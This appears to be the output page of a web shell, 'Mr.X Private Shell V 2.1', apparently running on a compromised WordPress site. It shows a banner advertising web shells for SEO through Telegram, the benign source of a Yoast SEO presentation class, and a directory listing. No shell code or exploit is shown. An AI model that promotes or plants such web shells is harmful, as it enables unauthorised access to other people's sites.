__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Presentations;
use AllowDynamicProperties;
use Exception;
/**
* The abstract presentation class.
*/
#[AllowDynamicProperties]
class Abstract_Presentation {
/**
* The model.
*
* @var mixed
*/
public $model;
/**
* Whether or not there is a presentation prototype.
*
* @var bool
*/
private $is_prototype = true;
/**
* Creates a model presentation.
*
* @param array $data The data that this is a presentation of.
*
* @return static A model presentation.
*
* @throws Exception If attempting to create a model presentation from another model presentation.
*/
public function of( $data ) {
if ( ! $this->is_prototype() ) {
throw new Exception( 'Attempting to create a model presentation from another model presentation. Use the prototype presentation gained from DI instead.' );
}
// Clone self to allow stateful services that do benefit from DI.
$presentation = clone $this;
foreach ( $data as $key => $value ) {
$presentation->{$key} = $value;
}
$presentation->is_prototype = false;
return $presentation;
}
/**
* Magic getter for lazy loading of generate functions.
*
* @param string $name The property to get.
*
* @return mixed The value if it could be generated.
*
* @throws Exception If there is no generator for the property.
*/
public function __get( $name ) {
if ( $this->is_prototype() ) {
throw new Exception( 'Attempting property access on prototype presentation. Use Presentation::of( $data ) to get a model presentation.' );
}
$generator = "generate_$name";
if ( \method_exists( $this, $generator ) ) {
$this->{$name} = $this->$generator();
return $this->{$name};
}
throw new Exception( "Property $name has no generator. Expected function $generator." );
}
/**
* Magic isset for ensuring methods that have a generator are recognised.
*
* @codeCoverageIgnore Wrapper method.
*
* @param string $name The property to get.
*
* @return bool Whether or not there is a generator for the requested property.
*/
public function __isset( $name ) {
return \method_exists( $this, "generate_$name" );
}
/**
* Returns `true` if this class is a prototype.
*
* @codeCoverageIgnore Wrapper method.
*
* @return bool If this class is a prototype or not.
*/
protected function is_prototype() {
return $this->is_prototype;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abstract-presentation.php | File | 2.34 KB | 0775 |
|
| archive-adjacent-trait.php | File | 1.65 KB | 0775 |
|
| indexable-author-archive-presentation.php | File | 4.21 KB | 0775 |
|
| indexable-date-archive-presentation.php | File | 2.82 KB | 0775 |
|
| indexable-error-page-presentation.php | File | 693 B | 0775 |
|
| indexable-home-page-presentation.php | File | 1.19 KB | 0775 |
|
| indexable-post-type-archive-presentation.php | File | 1.45 KB | 0775 |
|
| indexable-post-type-presentation.php | File | 10.44 KB | 0775 |
|
| indexable-presentation.php | File | 19.05 KB | 0775 |
|
| indexable-search-result-page-presentation.php | File | 1.4 KB | 0775 |
|
| indexable-static-home-page-presentation.php | File | 777 B | 0775 |
|
| indexable-static-posts-page-presentation.php | File | 977 B | 0775 |
|
| indexable-term-archive-presentation.php | File | 5.2 KB | 0775 |
|